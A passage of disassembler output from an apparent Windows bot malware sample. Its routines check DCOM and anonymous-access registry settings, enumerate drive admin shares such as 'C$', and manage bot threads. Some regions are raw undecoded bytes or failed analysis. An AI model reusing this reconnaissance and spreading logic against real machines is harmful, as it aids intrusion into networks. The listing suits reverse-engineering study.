		push	offset unk_42CAE0


loc_412BF2:				; CODE XREF: sub_412A1E+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_412C25
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412C25:				; CODE XREF: sub_412A1E+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_409615
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_42C9C8
		jl	short loc_412BD6
		jmp	loc_412CDA
; ---------------------------------------------------------------------------


loc_412C42:				; CODE XREF: sub_412A1E+1AAj
					; sub_412A1E+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_412CD1


loc_412C51:				; CODE XREF: sub_412A1E+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_415A6C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_412CC6
		push	edi
		call	sub_4115EE
		push	eax
		push	0
		call	sub_411701
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412C80
		push	offset unk_42CAA8
		jmp	short loc_412C85
; ---------------------------------------------------------------------------


loc_412C80:				; CODE XREF: sub_412A1E+259j
		push	offset unk_42CA68


loc_412C85:				; CODE XREF: sub_412A1E+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_412CB9
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412CB9:				; CODE XREF: sub_412A1E+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_409615
		pop	ecx


loc_412CC6:				; CODE XREF: sub_412A1E+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_412C51
		xor	edi, edi


loc_412CD1:				; CODE XREF: sub_412A1E+22Dj
		push	[ebp+var_8]
		call	ds:dword_42F798


loc_412CDA:				; CODE XREF: sub_412A1E+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_412BA5
		lea	eax, [ebp+var_214]
		push	offset unk_42CA2C
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_412D10
; ---------------------------------------------------------------------------


loc_412CFD:				; CODE XREF: sub_412A1E+177j
		lea	eax, [ebp+var_214]
		push	offset unk_42C9E8
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_412D10:				; CODE XREF: sub_412A1E+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_412D2E
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412D2E:				; CODE XREF: sub_412A1E+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_409615
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_412A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D42	proc near		; CODE XREF: sub_4129BE:loc_412A05p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_42F7D8, ebx
		push	esi
		jnz	loc_412E70
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_42F778
		test	eax, eax
		jnz	short loc_412DCD
		mov	ax, ds:word_42CF58
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_42F72C
		test	eax, eax
		jz	short loc_412DAF
		push	offset unk_42CF20
		jmp	short loc_412DB4
; ---------------------------------------------------------------------------


loc_412DAF:				; CODE XREF: sub_412D42+64j
		push	offset dword_42CEF0


loc_412DB4:				; CODE XREF: sub_412D42+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F6E4
		jmp	short loc_412DE0
; ---------------------------------------------------------------------------


loc_412DCD:				; CODE XREF: sub_412D42+36j
		lea	eax, [ebp+var_220]
		push	offset unk_42CC98
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_412DE0:				; CODE XREF: sub_412D42+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412DFF
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412DFF:				; CODE XREF: sub_412D42+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_409615
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_42F778
		test	eax, eax
		jnz	short loc_412E69
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_42F72C
		test	eax, eax
		jz	short loc_412E4B
		push	offset unk_42CEA0
		jmp	short loc_412E50
; ---------------------------------------------------------------------------


loc_412E4B:				; CODE XREF: sub_412D42+100j
		push	offset unk_42CE58


loc_412E50:				; CODE XREF: sub_412D42+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F6E4
		jmp	short loc_412E83
; ---------------------------------------------------------------------------


loc_412E69:				; CODE XREF: sub_412D42+E2j
		push	offset unk_42CE08
		jmp	short loc_412E75
; ---------------------------------------------------------------------------


loc_412E70:				; CODE XREF: sub_412D42+13j
		push	offset unk_42CB58


loc_412E75:				; CODE XREF: sub_412D42+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_412E83:				; CODE XREF: sub_412D42+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412EA2
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412EA2:				; CODE XREF: sub_412D42+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_409615
		cmp	ds:dword_42F800, ebx
		pop	ecx
		jnz	loc_413014
		push	edi
		mov	esi, offset off_42C9A8
		mov	edi, 200h


loc_412EC6:				; CODE XREF: sub_412D42+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_411655
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_412EE1
		push	offset unk_42CDD4
		jmp	short loc_412EE6
; ---------------------------------------------------------------------------


loc_412EE1:				; CODE XREF: sub_412D42+196j
		push	offset unk_42CD98


loc_412EE6:				; CODE XREF: sub_412D42+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_412F15
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412F15:				; CODE XREF: sub_412D42+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_409615
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_42C9B8
		jl	short loc_412EC6
		call	near ptr 0A70000h
		cdq
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_412FFC


loc_412F40:				; CODE XREF: sub_412D42+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_412FF1


loc_412F4E:				; DATA XREF: seg002:off_4278CCo
		cmp	bl, 41h
		jz	loc_412FF1
		movsx	esi, bl
		push	esi
		push	offset aC_0	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_413B2A
		push	esi
		push	offset aC	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_413B2A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_42F768
		cmp	eax, 3
		jnz	short loc_412FF1
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_411655
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_412FAF
		push	offset unk_42CDD4
		jmp	short loc_412FB4
; ---------------------------------------------------------------------------


loc_412FAF:				; CODE XREF: sub_412D42+264j
		push	offset unk_42CD98


loc_412FB4:				; CODE XREF: sub_412D42+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_412FE4
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_412FE4:				; CODE XREF: sub_412D42+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_409615
		pop	ecx


loc_412FF1:				; CODE XREF: sub_412D42+206j
					; sub_412D42+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_412F40


loc_412FFC:				; CODE XREF: sub_412D42+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_42CD54
		push	eax
		call	sub_4135AD
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_413027
; ---------------------------------------------------------------------------


loc_413014:				; CODE XREF: sub_412D42+173j
		lea	eax, [ebp+var_220]
		push	offset unk_42C9E8
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_413027:				; CODE XREF: sub_412D42+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_413045
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_413045:				; CODE XREF: sub_412D42+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_409615
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_412D42	endp


; =============== S U B	R O U T	I N E =======================================



sub_413059	proc near		; CODE XREF: seg000:004047C8p
					; sub_40571E+31Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_434698


loc_413061:				; CODE XREF: sub_413059+18j
		cmp	byte ptr [eax],	0
		jz	short loc_413075
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_45DB88
		jl	short loc_413061
		jmp	short loc_4130C0
; ---------------------------------------------------------------------------


loc_413075:				; CODE XREF: sub_413059+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_434698[esi]
		push	eax
		call	sub_414DD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_434898[esi], eax
		and	ds:dword_43489C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_4348A0[esi], 0
		mov	ds:dword_4348A4[esi], eax
		and	ds:byte_4348B0[esi], 0
		pop	esi


loc_4130C0:				; CODE XREF: sub_413059+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_413059	endp

; ---------------------------------------------------------------------------
dword_4130C4	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: seg000:00410990o
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
		dd 0EDE8006Ah, 170065CEh, 8B555E5Fh, 0EC81ECh, 56000002h
		dd 0FF006A57h, 50681075h, 0FF0042D0h, 75FF0C75h, 0DF7AE808h
		dd 0C483FFFFh, 0BEFF3314h, 434698h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 42B00868h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0DF32E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 0DB88FE81h, 0B07C0045h, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_413194	proc near		; CODE XREF: seg000:0040FD71p
					; sub_413222+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41321C
		cmp	esi, 12Ch
		jge	short loc_41321C
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_4348AC[esi]
		lea	edi, dword_4348AC[esi]
		call	near ptr 0A70000h
		or	[ecx], edi
		pop	ds
		jz	short loc_4131CC
		push	1
		pop	ebp


loc_4131CC:				; CODE XREF: sub_413194+33j
		mov	[edi], ebx
		lea	edi, dword_4348A0[esi]
		mov	ds:dword_434898[esi], ebx
		mov	ds:dword_43489C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4131ED
		push	eax
		call	near ptr sub_4123C5
		pop	ecx


loc_4131ED:				; CODE XREF: sub_413194+50j
		mov	[edi], ebx
		lea	edi, dword_4348A4[esi]
		mov	byte ptr ds:dword_434698[esi], bl
		mov	ds:byte_4348B0[esi], bl
		push	dword ptr [edi]
		call	ds:dword_42F7A0
		lea	esi, dword_4348A8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_42F7A0
		mov	[esi], ebx
		pop	edi


loc_41321C:				; CODE XREF: sub_413194+Dj
					; sub_413194+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413194	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413222	proc near		; CODE XREF: sub_4082BD:loc_4082E1p
					; sub_40AA28+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_434698


loc_41322E:				; CODE XREF: sub_413222+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41323F
		push	edi
		call	sub_413194
		test	eax, eax
		pop	ecx
		jz	short loc_41323F
		inc	ebx


loc_41323F:				; CODE XREF: sub_413222+Fj
					; sub_413222+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_45DB88
		jl	short loc_41322E
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413222	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413254	proc near		; CODE XREF: seg000:0040D024p
					; seg000:0040D092p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43489C


loc_413268:				; CODE XREF: sub_413254+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41328A
		test	edi, edi
		jle	short loc_41327C
		cmp	[esi], edi
		jz	short loc_41327C
		cmp	ebx, edi
		jnz	short loc_41328A


loc_41327C:				; CODE XREF: sub_413254+1Ej
					; sub_413254+22j
		push	ebx
		call	sub_413194
		test	eax, eax
		pop	ecx
		jz	short loc_41328A
		inc	[ebp+var_4]


loc_41328A:				; CODE XREF: sub_413254+1Aj
					; sub_413254+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_45DD8C
		jl	short loc_413268
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413254	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132A1	proc near		; CODE XREF: sub_4056A7+Bp
					; sub_40571E+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_434898


loc_4132A8:				; CODE XREF: sub_4132A1+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4132B1
		inc	eax


loc_4132B1:				; CODE XREF: sub_4132A1+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_45DD88
		jl	short loc_4132A8
		retn
sub_4132A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132C0	proc near		; CODE XREF: seg000:0041044Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_434898


loc_4132CA:				; CODE XREF: sub_4132C0+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4132E3
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_45DD88
		jl	short loc_4132CA
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4132E3:				; CODE XREF: sub_4132C0+10j
		mov	eax, edx
		pop	esi
		retn
sub_4132C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132E7	proc near		; CODE XREF: seg000:0040C3BDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_413300
		push	[ebp+arg_1C]
		call	sub_413B1F
		pop	ecx


loc_413300:				; CODE XREF: sub_4132E7+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_413254
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41332C
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4135AD
		add	esp, 14h
		jmp	short loc_413346
; ---------------------------------------------------------------------------


loc_41332C:				; CODE XREF: sub_4132E7+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4135AD
		add	esp, 10h


loc_413346:				; CODE XREF: sub_4132E7+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_413366
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h


loc_413366:				; CODE XREF: sub_4132E7+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_409615
		pop	ecx
		leave
		retn
sub_4132E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_413375	proc near		; CODE XREF: start+A2p
					; seg000:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_4348AC[eax], ecx
		mov	ds:dword_434898[eax], ecx
		mov	ds:dword_43489C[eax], ecx
		mov	ds:dword_4348A0[eax], ecx
		mov	ds:dword_4348A4[eax], ecx
		mov	ds:dword_4348A8[eax], ecx
		mov	byte ptr ds:dword_434698[eax], cl
		mov	ds:byte_4348B0[eax], cl
		retn
sub_413375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133B2	proc near		; CODE XREF: seg000:00410F55p
					; sub_4134E0+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4133BC:				; CODE XREF: sub_4133B2+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41341C
		cmp	eax, 1
		jnz	short loc_41341C
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41341C
		cmp	cl, 2Ah
		jz	short loc_413403
		cmp	cl, 3Fh
		jz	short loc_4133E6
		cmp	cl, 5Bh
		jz	short loc_4133EB
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4133E6:				; CODE XREF: sub_4133B2+26j
		inc	[ebp+arg_4]
		jmp	short loc_413416
; ---------------------------------------------------------------------------


loc_4133EB:				; CODE XREF: sub_4133B2+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_413448
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_413416
; ---------------------------------------------------------------------------


loc_413403:				; CODE XREF: sub_4133B2+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4134E0
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_413416:				; CODE XREF: sub_4133B2+37j
					; sub_4133B2+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4133BC
; ---------------------------------------------------------------------------


loc_41341C:				; CODE XREF: sub_4133B2+Ej
					; sub_4133B2+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41342C
		cmp	eax, 1
		jnz	short loc_413443
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41341C
; ---------------------------------------------------------------------------


loc_41342C:				; CODE XREF: sub_4133B2+6Dj
		cmp	eax, 1
		jnz	short loc_413443
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_413443
		cmp	byte ptr [esi],	0
		jnz	short loc_413443
		push	1
		pop	eax
		jmp	short loc_413445
; ---------------------------------------------------------------------------


loc_413443:				; CODE XREF: sub_4133B2+72j
					; sub_4133B2+7Dj ...
		xor	eax, eax


loc_413445:				; CODE XREF: sub_4133B2+8Fj
		pop	esi
		pop	ebp
		retn
sub_4133B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413448	proc near		; CODE XREF: sub_4133B2+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_413469
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_413469:				; CODE XREF: sub_413448+19j
		push	ebx
		push	esi


loc_41346B:				; CODE XREF: sub_413448+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_413479
		cmp	[ebp+var_4], eax
		jnz	short loc_4134C5


loc_413479:				; CODE XREF: sub_413448+2Aj
		test	edi, edi
		jnz	short loc_4134BA
		cmp	bl, 2Dh
		jnz	short loc_4134AE
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4134AE
		cmp	al, 5Dh
		jz	short loc_4134AE
		cmp	[ebp+var_4], edi
		jnz	short loc_4134AE
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4134BA
		cmp	bl, al
		jg	short loc_4134BA
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4134BA
; ---------------------------------------------------------------------------


loc_4134AE:				; CODE XREF: sub_413448+38j
					; sub_413448+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4134BA
		push	1
		pop	edi


loc_4134BA:				; CODE XREF: sub_413448+33j
					; sub_413448+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41346B
; ---------------------------------------------------------------------------


loc_4134C5:				; CODE XREF: sub_413448+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4134D2
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4134D2:				; CODE XREF: sub_413448+82j
		cmp	edi, eax
		jnz	short loc_4134DB
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4134DB:				; CODE XREF: sub_413448+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_413448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E0	proc near		; CODE XREF: sub_4133B2+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4134FC:				; CODE XREF: sub_4134E0+3Aj
		cmp	[eax], bl
		jz	short loc_41351C
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_413511
		cmp	cl, 2Ah
		jnz	short loc_41351C
		cmp	cl, 3Fh
		jnz	short loc_413514


loc_413511:				; CODE XREF: sub_4134E0+25j
		inc	eax
		mov	[edi], eax


loc_413514:				; CODE XREF: sub_4134E0+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4134FC
; ---------------------------------------------------------------------------


loc_41351C:				; CODE XREF: sub_4134E0+1Ej
					; sub_4134E0+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_413527
		inc	dword ptr [esi]
		jmp	short loc_41351C
; ---------------------------------------------------------------------------


loc_413527:				; CODE XREF: sub_4134E0+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_413548
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_413539
		xor	eax, eax
		jmp	short loc_4135A8
; ---------------------------------------------------------------------------


loc_413539:				; CODE XREF: sub_4134E0+53j
		cmp	cl, bl
		jnz	short loc_413548
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_413548
		push	1
		pop	eax
		jmp	short loc_4135A8
; ---------------------------------------------------------------------------


loc_413548:				; CODE XREF: sub_4134E0+4Dj
					; sub_4134E0+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4133B2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413592


loc_413556:				; CODE XREF: sub_4134E0+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41355A:				; CODE XREF: sub_4134E0+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_413572
		cmp	cl, 5Bh
		jz	short loc_413572
		cmp	dl, bl
		jz	short loc_413572
		inc	eax
		mov	[edi], eax
		jmp	short loc_41355A
; ---------------------------------------------------------------------------


loc_413572:				; CODE XREF: sub_4134E0+82j
					; sub_4134E0+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_413589
		push	eax
		push	dword ptr [esi]
		call	sub_4133B2
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41358E
; ---------------------------------------------------------------------------


loc_413589:				; CODE XREF: sub_4134E0+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41358E:				; CODE XREF: sub_4134E0+A7j
		cmp	eax, ebx
		jnz	short loc_413556


loc_413592:				; CODE XREF: sub_4134E0+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4135A5
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4135A5
		mov	[ebp+var_4], 1


loc_4135A5:				; CODE XREF: sub_4134E0+B6j
					; sub_4134E0+BCj
		mov	eax, [ebp+var_4]


loc_4135A8:				; CODE XREF: sub_4134E0+57j
					; sub_4134E0+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4134E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135AD	proc near		; CODE XREF: start+61p
					; seg000:004013BAp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
